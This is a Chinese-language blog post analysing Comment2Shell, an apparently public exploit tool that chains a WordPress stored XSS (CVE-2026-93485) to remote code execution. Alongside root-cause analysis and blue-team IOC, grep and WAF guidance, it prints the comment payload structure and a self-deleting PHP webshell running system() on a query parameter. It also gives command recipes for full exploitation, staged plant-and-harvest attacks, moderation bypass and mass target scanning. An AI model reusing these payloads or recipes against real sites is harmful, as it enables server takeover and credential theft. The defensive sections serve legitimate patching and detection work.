行业资讯

加入亿拓客·流量大师 撬动财富之门!!!

Comment2Shell 深度技术分析报告

wang 2026-09-29 行业资讯

Comment2Shell 深度技术分析报告

对象:DeathShotXD/Comment2Shell —— WordPress CVE-2026-93485 全链路研究/检测工具
性质:公开漏洞 PoC + 本地实验环境 + 蓝队检测套件
适用前提:仅限自有资产、已获书面授权的安全测试、以及安全研究/教育用途

· · ·

—目录—

1. 工具是什么 / 命名寓意
2. 漏洞原理抽丝剥茧
3. 源代码深度审计
4. 攻击链与实网攻防定位
5. 冷门但常用的命令语法
6. Cheatsheet 命令配方
7. 检测与防御(蓝队视角)
8. 历史与时间线

· · ·

—1. 工具是什么 / 命名寓意—

1.1 一句话定义

Comment2Shell 是一个端到端的漏洞研究套件,针对 WordPress 核心 wpautop() 函数中的预认证(pre-auth)存储型 XSS 漏洞 CVE-2026-93485,该漏洞可升级为管理员会话内的远程代码执行(RCE)。

1.2 命名寓意(拆词法)

词素
含义
解读
Comment
评论
攻击入口是"一个匿名评论",无账号、无 nonce
2
to(谐音)
英文 "comment → shell" 的演化链
Shell
webshell
攻击终点是在服务器上种下可执行命令的 webshell

命名核心隐喻:一条评论(Comment)经过 WordPress 显示时的过滤器链,最终"变成"了一枚 webshell(Shell)。名字本身就概括了完整攻击链——评论 → 存储型 XSS → 管理员会话 → 插件上传 → webshell → RCE。

1.3 工具定位的两面性

这个仓库并非单纯的"黑客工具",它是攻防一体的:

• 红队/研究面:--scan 被动指纹、--probe 无害探测、-c 完整利用链、--shell 交互式 shell
• 蓝队面:nuclei/CVE-2026-93485.yaml 检测模板、ioc/ IOC 检查器(--ioc)、README 内置服务器端/网络端 IOC 语句

· · ·

—2. 漏洞原理抽丝剥茧—

2.1 官方定性

• CVE:CVE-2026-93485
• CVSS:7.1(HIGH)—— AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• CWE:CWE-79(跨站脚本)
• 影响面:WordPress 4.7.0 ~ 7.1.0(7.1.1 修复,25 个分支全部回移,最低到 4.7.36)
• 报告者:Rafie Muhammad(Awesome Motive),通过 HackerOne WordPress 项目上报

2.2 根因:wpautop() 的正则缺陷

漏洞点在 wp-includes/formatting.php 的 wpautop() 段落过滤器。这是 WordPress 核心代码,每个受影响站点都会运行,与主题/插件无关。

脆弱版本(7.1.1 之前,约 formatting.php:563):

php
// VULNERABLE: [^>]* 会在 HTML 注释占位符里的 > 处停下来$text = preg_replace( '|<p><blockquote([^>]*)>|i', '<blockquote$1><p>', $text );

修复版本(7.1.1):

php
// PATCHED: 引号感知的子模式$text = preg_replace( '!<p><blockquote((?:[^>"\']|"[^"]*"|\'[^\']*\')*)>!i', '<blockquote$1><p>', $text );

缺陷本质:[^>]* 是一个"贪婪地匹配任意非 > 字符"的正则字符类。它无法区分——

1. 真正的 HTML 标签结束符 >
2. HTML 注释占位符 <!-- wpnl --> 内部的 > 字符

当 cite 属性值里混入注释占位符时,正则提前在占位符的 > 处停住,把一个 <p> 标签注入到了 cite 属性内部,从而撕裂了属性的引号边界。

2.3 攻击载荷的构造解剖

工具 build_xss_comment() 生成的原始载荷(HTML 实体编码前):

html
x<blockquotecite="ab"><code>x" onfocus='<JS>' autofocus tabindex=0</code></blockquote>

关键设计点是引入两个换行符:

x\n\n           ← 强制 wpautop 把 blockquote 包进自己的 <p> 段落<blockquote cite="a\nb">   ← cite 属性值里塞入一个换行符

2.4 五步漏洞触发机制

1. 换行 → HTML 注释占位符:wp_replace_in_html_tags() 会把 cite 属性值里的换行 \n 转成 <!-- wpnl -->。
2. 脆弱正则注入 <p>:wpautop() 的正则 [^>]* 在 <!-- wpnl --> 的 > 处停下,把 <p> 注入到 cite 属性中间,属性被撕裂。
3. wptexturize() 封口(块主题):外层双引号 " 被转成弯引号 &#8221;,而 <code> 里的 " 保留为直引号(因为在 no-texturize 列表里)——浏览器于是把 onfocus/autofocus 解析为真实属性。
4. autofocus 零点击触发:页面加载时自动聚焦到该元素,触发 onfocus 事件,无需任何点击。
5. 管理员会话执行 JS:恶意 JS 带着管理员 cookie 运行。

注:第 3 步依赖块主题(block theme),经典主题可能不触发 wptexturize() 封口。README 也明确列了这条限制。

2.5 为什么 KSES 拦不住

WordPress 的 KSES(wp-includes/kses.php:605-633)在保存评论时做 HTML 清洗,其评论 allowlist 里包含 blockquote[cite] 和 code。攻击载荷在存储时是"良性的":

• cite 里的换行符不属于 wp_kses_hair() 的语法字符映射,逃过清洗
• onfocusautofocus 等属性在 code 文本节点内,被当成纯文本而非属性

真正的破坏发生在显示阶段——comment_text 过滤器链对已存储的 HTML 做二次变换,把"良性文本"变成了"可执行属性"。这正是存储型 XSS 的经典套路:入库时合法,渲染时变恶。

2.6 comment_text 过滤器链

php
add_filter( 'comment_text', 'wptexturize' );        // 封住属性(弯引号)add_filter( 'comment_text', 'convert_chars' );add_filter( 'comment_text', 'make_clickable', 9 );add_filter( 'comment_text', 'force_balance_tags', 25 );add_filter( 'comment_text', 'convert_smilies', 20 );add_filter( 'comment_text', 'wpautop', 30 );        // ← 漏洞所在(优先级 30)

· · ·

—3. 源代码深度审计—

comment2shell.py 是单文件、零第三方依赖(仅标准库)。以下按模块拆解其设计巧思。

3.1 版本指纹模块(被动、安全)

python
VULN_MIN = (4, 7, 0)VULN_MAX = (7, 1, 0)BRANCH_PATCH_THRESHOLD = {    (4, 7): 36, (4, 8): 31, (4, 9): 32,    (5, 0): 28, ... (7, 1): 1,}

设计亮点:

• is_vulnerable() 优先查分支级补丁阈值(最精确),未知分支再退回整体范围判断。
• detect_version() 三个方法按序降级:readme.html → wp-includes/version.php → 首页 generator meta。全部被动,不提交 payload。
• find_post_id() 用四层降级找可评论的文章 ID:REST API(优先 comment_status=open)→ 首页正则 → RSS/Atom feed → 兜底 ID 1/2/3。

妙处:find_post_id 的 REST 分支会优先选择 comment_status == "open" 的文章,这是"提高成功率"的精细化设计——不是抓到任意文章就提交,而是专门找评论开放的。

3.2 Payload 构造模块(最难啃的部分)

(a) JS 引号约束

python
defbuild_rce_js(callback_url=None, shell_path=None, marker=None):"""Constraint: must contain NO single quotes (HTML attribute delimiter)."""

因为规范载荷把 JS 包在 onfocus='...' 里,单引号是 HTML 属性分隔符,所以整个 RCE JS 必须只用双引号。这是一个贯穿全模块的硬约束。

(b) HTML 实体编码顺序陷阱

python
js_encoded = js_code.translate(str.maketrans({'&': '&amp;','<': '&lt;','>': '&gt;',}))

关键细节:build_xss_comment() 的 docstring 明确说明——< > & 必须 HTML 实体编码,否则 KSES 的 HTML 解析器会误把 <> 当标签分隔符,破坏属性边界(把结尾的 ' 转成 &#039;)。而浏览器在把属性值交给 JS 引擎前会先解码实体,所以编码对执行是"透明"的。

巧妙点:用 str.translate 一次性完成三种替换,而不是 replace 链式调用。因为如果先 & → &amp;,后续再出现 & 就会二次编码成 &amp;amp;。translate 单遍替换天然避免了顺序问题。

(c) String.fromCharCode 混淆

python
def_js_string_from_chars(s):    codes = ",".join(str(ord(c)) for c in s)returnf"String.fromCharCode({codes})"

把 PHP webshell 源码和插件目录名都转成 String.fromCharCode(...) 的数字数组编码。目的:

• 避免在 JS/HTML 上下文里出现引号冲突
• 让 PHP 源码(含大量双引号 $_GET["c"])也能安全嵌入

(d) 纯 JS 内存 ZIP 构建器

这是整个工具最骚的操作。上传 WordPress 插件需要一个 ZIP 包,但工具没有任何外部文件落盘,而是在浏览器里用 JS 现场构造 ZIP:

js
functionbuildZip(name,content){var nb=enc(name),cb=enc(content),crc=crc32(cb);// 本地文件头 (local file header) 30 字节 + 文件名// 中央目录头 (central directory header) 46 字节 + 文件名// 结束记录 (end of central directory) 22 字节  ...}

技术细节:

• CRC32 用查表法(预生成 256 项多项式表 0xEDB88320)在 JS 里算
• 只写三块结构:local header(签名 0x04034b50)、central directory(0x02014b50)、end record(0x06054b50)
• 无压缩(stored,压缩方法字段写 20=deflate 的版本但实际 size=compressed size),DataView 用 setUint32(..., true) 小端写入
• new Blob([z],{type:"application/zip"}) 直接作为 FormData 的 pluginzip 字段

妙处:整个插件上传流程无需攻击者携带任何文件,全部在受害者浏览器的内存里完成,规避了"需要外部分发 ZIP"的传统限制。

(e) 内置 self-delete 的 webshell

php
<?php/** Plugin Name: System Diagnostics ... */if(isset($_GET["m"])){echo"MARKER";}if(isset($_GET["d"])){$f=__FILE__;@unlink($f);@rmdir(dirname($f));echo"CLEANED";exit;}if(isset($_GET["c"])){system($_GET["c"]);}
• 必须带 Plugin Name 头:否则 Plugin_Upgrader 会拒绝("No valid plugins were found")——这是一个"踩坑后补上"的细节
• ?m=marker:验证标记,用于确认 shell 归属
• ?d=1:自删,unlink 自身 + rmdir 目录,实现"不留持久化痕迹"
• ?c=cmd:system() 执行任意命令

(f) 防循环重入守卫

js
if(window.c2s){return;}window.c2s=1;

这是一个非常老练的细节:alert() 弹窗被关闭后,焦点会回到 autofocus 的 blockquote,再次触发 onfocus。若无守卫,alert 会无限循环,后面的异步上传链永远无法完成。用 window.c2s 标志保证只跑一次。

3.3 评论提交模块

python
defsubmit_comment(base_url, post_id, content, ...):# 关键:自定义 NoRedirect,截获 Location 头判断审批状态classNoRedirect(urllib.request.HTTPRedirectHandler):defredirect_request(self, req, fp, code, msg, headers, newurl):returnNone

妙处:通过不跟随重定向来截获 Location 头,从中判断评论是否被自动批准:

• unapproved= 或 moderation-hash 出现 → pending(待审核)
• #comment- 出现 → approved(已通过)

审批绕过三路线(对应 README 表格):

1. --known-commenter:复用默认身份 "A WordPress Commenter" <wapuu@wordpress.example>,check_comment() 会白名单自动批准
2. 默认:若 comment_previously_approved=0(首次评论即批准),任意身份都直接过
3. 自动:先前评论者通过 ?unapproved=<id>&moderation-hash=<hash> cookie 预览

工具引用 Patchstack 的名言:"moderation isn't a security control"(审核不是安全控制)——因为 XSS 在对审核队列渲染时同样会触发。

3.4 竞态与"活载荷"探测

python
deffind_live_payload_path(base_url, post_id, ...):# 读取渲染后的文章,找出页面上"第一个" autofocus 载荷的 shell 路径

这是一个极易被忽视的正确性设计:页面上如果有多个 autofocus 元素,浏览器只会聚焦第一个。也就是说,如果还有旧的 payload 评论残留,管理员打开时执行的是最旧的那条,而不是新提交的。工具会先读回渲染结果,解析出 var d=String.fromCharCode(...) 里的真实目录名,改去轮询那条"真正会触发"的路径。

3.5 架构总结

comment2shell.py├── 版本指纹 (detect_version / is_vulnerable / find_post_id)   [被动]├── Payload 构造 (build_detection_js / build_rce_js / build_xss_comment)├── 评论提交 (submit_comment / submit_as_known_commenter)├── Shell 客户端 (exec_command / verify_shell / cleanup_shell)├── IOC 检查 (check_ioc_remote)├── 扫描器 (scan_single / run_scan / ThreadPoolExecutor 并发)├── 交互 shell (interactive_shell)└── 主流程 (run_exploit / run_exec_only / run_probe / main)

设计哲学:单文件、零依赖、模块化函数、flag 驱动模式。从被动扫描到 RCE 到 IOC 检测,一步到位,且 exploit 流程默认"用完自删"。

· · ·

—4. 攻击链与实网攻防定位—

4.1 完整攻击链(README 官方图)

1. 匿名评论提交(无认证、无 nonce)   POST /wp-comments-post.php   <blockquote cite="a\nb"><code>x" onfocus=... autofocus>2. 显示时过滤器链(漏洞)   wpautop() 在 formatting.php:563 注入 <p> 进 cite 属性3. wptexturize() 封属性(块主题)   外层 " → &#8221; 弯引号;<code> 内 " 保持直引号4. 管理员会话零点击 XSS   autofocus 页面加载即触发 onfocus5. 管理员会话 → 插件上传 → RCE   GET plugin-install.php 提取 nonce → 内存 ZIP → upload-plugin → webshell

4.2 在实网攻防中的定位

• APT 视角的"持久化前探针":因为 webshell 默认自删,它更像一次无痕验证——证明 RCE 可行性后撤离,不留下 web 层痕迹。
• 红队演练的使用场景:在授权渗透测试中,当目标开放匿名评论 + 启用块主题 + 管理员会查看评论时,这是一条高价值的预认证 → 管理员上下文路径。
• 危害放大的原因:XSS 在管理员会话中执行 → 管理员 cookie 足以安装插件 → 插件即任意代码执行。所以这不仅是"窃取会话"级别,而是直通服务器 RCE。

4.3 前置条件(决定武器可用性)

条件
默认值
说明
评论开放
默认开启
发表评论未被关闭
匿名评论
comment_registration=0
默认无需注册即可评论
块主题
默认(Twenty Twenty-Two 起)
触发 wptexturize 封口
管理员查看文章
人工
RCE 步骤的必要人工触发点
评论自动批准/老评论者
视配置
影响载荷是否可见

关键限制:RCE 步骤必须有一个已登录的管理员去查看该文章。没有这一步,最多只能证明"存储型 XSS 存在"(--probe 即为此)。

· · ·

—5. 冷门但常用的命令语法—

以下既包含工具的冷门参数,也包含配套的攻防常用命令。

5.1 管道从 stdin 读取目标(被低估的参数)

bash
subfinder -d example.com -silent | httpx -silent -title | grep -i wordpress | python3 comment2shell.py --scan --stdin --threads 20

--stdin 让工具能无缝嵌入流水线,配合 --json 可直接输出机器可读结果。

5.2 --wait 0(只投递、不轮询)

bash
python3 comment2shell.py -t https://target.com -c "id" --wait 0

只提交 payload,不等待管理员触发——适合"预埋载荷,后续再收割"的分离式操作。

5.3 --known-commenter(审批绕过开关)

bash
python3 comment2shell.py -t https://target.com -c "whoami" --known-commenter

复用 WordPress 默认评论者身份绕过首次评论审核。

5.4 已存在 shell 的复用(--exec / --shell)

bash
# 单命令python3 comment2shell.py --exec -t https://target.com --shell-path ab12cd/ab12cd.php -c "cat wp-config.php"# 交互式python3 comment2shell.py --shell -t https://target.com --shell-path ab12cd/ab12cd.php

--exec 内部会规范化路径:接受 dir/dir.php、wp-content/plugins/dir/dir.php、wp-content/dir/dir.php 三种形式,且若没写 .php 会补全,很健壮。

5.5 冷门的配套检测命令(Linux)

bash
# 服务器端:可疑评论(blockquote cite 内含换行)grep -rE 'blockquote.*cite=.*\n' /var/www/html/wp-content/ 2>/dev/null# wp_comments 表(注意反斜杠转义在 MySQL 里的表现)mysql -e "SELECT comment_ID, comment_author, LEFT(comment_content,200) FROM wp_comments WHERE comment_content LIKE '%blockquote%cite% onfocus%' ORDER BY comment_date DESC;"# 最近上传的单文件插件(与 wp-config.php 对比时间戳)find /var/www/html/wp-content/plugins/ -maxdepth 2 -name "*.php" -newer /var/www/html/wp-config.php -not -path "*/akismet/*" -not -path "*/hello*"

5.6 补丁验证命令(判断是否修复)

bash
# 脆弱(7.1.1 前)grep -n 'blockquote(\[^>\]\*)' wp-includes/formatting.php#   → |<p><blockquote(\[^>\]\*)>|# 已修复(7.1.1+)grep -n 'blockquote((?:\[^>"'"'"'' wp-includes/formatting.php#   → !<p><blockquote((?:\[^>"]|"[^"]*"|'[^']*')*)>

· · ·

—6. Cheatsheet 命令配方—

6.1 参数总表

参数
作用
备注
-t, --target
目标 URL
可传 - 表示从 stdin/文件
-f, --file
目标文件(每行一个)
支持 # 注释行
--stdin
从标准输入读目标
流水线神器
--scan
被动版本扫描
安全,仅识别版本
--probe
提交无害 XSS 探测
proof-of-XSS
--exploit
完整利用链
显式触发(或由 -c 隐式)
--shell
交互式 shell
需 --shell-path
--exec
在已有 shell 执行单命令
需 --shell-path
--ioc
检查目标是否有被利用痕迹
蓝队功能
-c, --cmd
要执行的命令
给出即隐式进入 exploit
--callback
OAST/interactsh 回调 URL
无回显场景验证
--shell-path
已有 webshell 路径
dir/dir.php
--post-id
指定文章 ID
跳过自动发现
--known-commenter
用默认评论者身份过审
审批绕过
--wait
轮询秒数(默认 45)
0
=只投递
--no-cleanup
保留 webshell
默认自删
--threads
扫描线程(默认 10)
批量扫描
--timeout
请求超时(默认 10s)
--proxy
代理 URL
走 Burp 等
--json
JSON 输出
机器可读
-o, --output
保存结果到文件
-v, --verbose
详细输出
--version
显示版本

6.2 六种模式的"一句话配方"

bash
# ① 被动指纹(单个)python3 comment2shell.py --scan -t https://target.com# ② 批量指纹 + JSON 落盘python3 comment2shell.py --scan -f targets.txt --threads 20 -o result.json --json# ③ 无害 XSS 探测(带 OAST 无回显验证)python3 comment2shell.py --probe -t https://target.com --callback https://you-id.oast.example# ④ 完整利用(执行 cat wp-config.php,等 60s,走代理)python3 comment2shell.py -t https://target.com -c "cat wp-config.php" --wait 60 --proxy http://127.0.0.1:8080# ⑤ 交互 shell(已种 shell)python3 comment2shell.py --shell -t https://target.com --shell-path ab12cd/ab12cd.php# ⑥ IOC 检查(蓝队)python3 comment2shell.py --ioc -t https://target.com

6.3 "功能模块化 + 脚本化"配方思维

将参数视为可编程的功能模块,最强大的用法是把工具嵌入脚本做逻辑判断与批量处理:

bash
# 配方 A:扫描 → 提取脆弱目标 → 自动批量进入下一阶段python3 comment2shell.py --scan -f all.txt --json -o scan.jsonpython3 - <<'PY'import json, subprocessdata = json.load(open("scan.json"))vuln = [r["target"] for r in data if r.get("vulnerable") is True]print("\n".join(vuln))  # 脆弱目标清单PY
bash
# 配方 B:流水线——子域枚举 → 筛 WordPress → 批量脆弱性识别subfinder -d scope.com -silent \  | httpx -silent -title \  | grep -i wordpress \  | python3 comment2shell.py --scan --stdin --threads 20 --json -o wp_scan.json# 配方 C:分离式操作——先埋载荷,后收割# 阶段一:投递(不等待)python3 comment2shell.py -t https://target.com -c "id" --wait 0 --no-cleanup# 阶段二:稍后用已知路径收割(结合 --exec)python3 comment2shell.py --exec -t https://target.com --shell-path <DIR>/<DIR>.php -c "id"

注意:以上批量/流水线配方仅在取得授权的测试范围内使用。

6.4 Nuclei 检测(蓝队即用)

bash
nuclei -t nuclei/CVE-2026-93485.yaml -u https://target.com

模板内置了版本比对 matcher(compare_versions(version_readme[0], '< 7.1.1'))和载荷反射 matcher(检测渲染后的 cite="[^"]*<p> 与 onfocus=),可作为批量筛查的检测基线。

· · ·

—7. 检测与防御(蓝队视角)—

7.1 网络层 IOC

# 可疑的评论提交(blockquote + onfocus + autofocus)http.request.uri == "/wp-comments-post.php" ANDhttp.request.body contains "blockquote" ANDhttp.request.body contains "onfocus" ANDhttp.request.body contains "autofocus"# 非管理员 IP 的单文件插件上传http.request.uri == "/wp-admin/update.php" ANDhttp.request.body contains "pluginzip"

7.2 根本防御

1. 升级到 WordPress 7.1.1+(或对应分支回移版本,见 README 版本表,最低 4.7.36)。
2. 若无法立即升级,可临时关闭匿名评论(comment_registration=1)或关闭评论,阻断输入入口。
3. 在 WAF 侧对 wp-comments-post.php 的 comment 字段增加规则:阻断含 blockquote + onfocus/autofocus + 换行符 %0A 的组合。

7.3 应急排查步骤

1. 跑 IOC 检查:python3 comment2shell.py --ioc -t https://target.com(远程,无需服务器权限)
2. 服务器端跑 5.5 节的 grep/mysql/find 命令
3. 检索访问日志中 /wp-admin/update.php?action=upload-plugin 的来源 IP
4. 检查 wp-content/plugins/ 下是否出现 6 位随机短名目录

· · ·

—8. 历史与时间线—

日期
事件
2026-09-08
通过 HackerOne WordPress 项目上报漏洞
2026-09-15
向 Patchstack 申请 CVE
2026-09-17
WordPress 7.1.1 修复(25 分支回移)
2026-09-18
分配 CVE-2026-93485(CVSS 7.1)
2026-09-21
研究者发表 writeup
2026-09-22
THN、Orca、SiteGuarding 等媒体跟进
2026-09-23
本工具 Comment2Shell 发布

前世今生:这类漏洞属于 WordPress 核心 wpautop()/文本格式化函数的老问题家族——正则处理 HTML 时未能考虑注释占位符/嵌套引号,历史上 wpautop 相关 XSS 已有多次变体。本次特殊之处在于:存储、预认证、零点击、可升级 RCE 四点齐备,且影响面覆盖从 4.7 到 7.1 的多年版本。

· · ·

—附:合规声明—

本报告仅用于授权安全测试、安全研究、教育与防御能力建设。未经授权访问计算机系统在绝大多数司法辖区均属违法。工具作者不对滥用承担任何责任。所有批量/流水线/利用类操作都必须在明确 scope 与书面授权下进行。

猜你喜欢

发表评论

发表评论: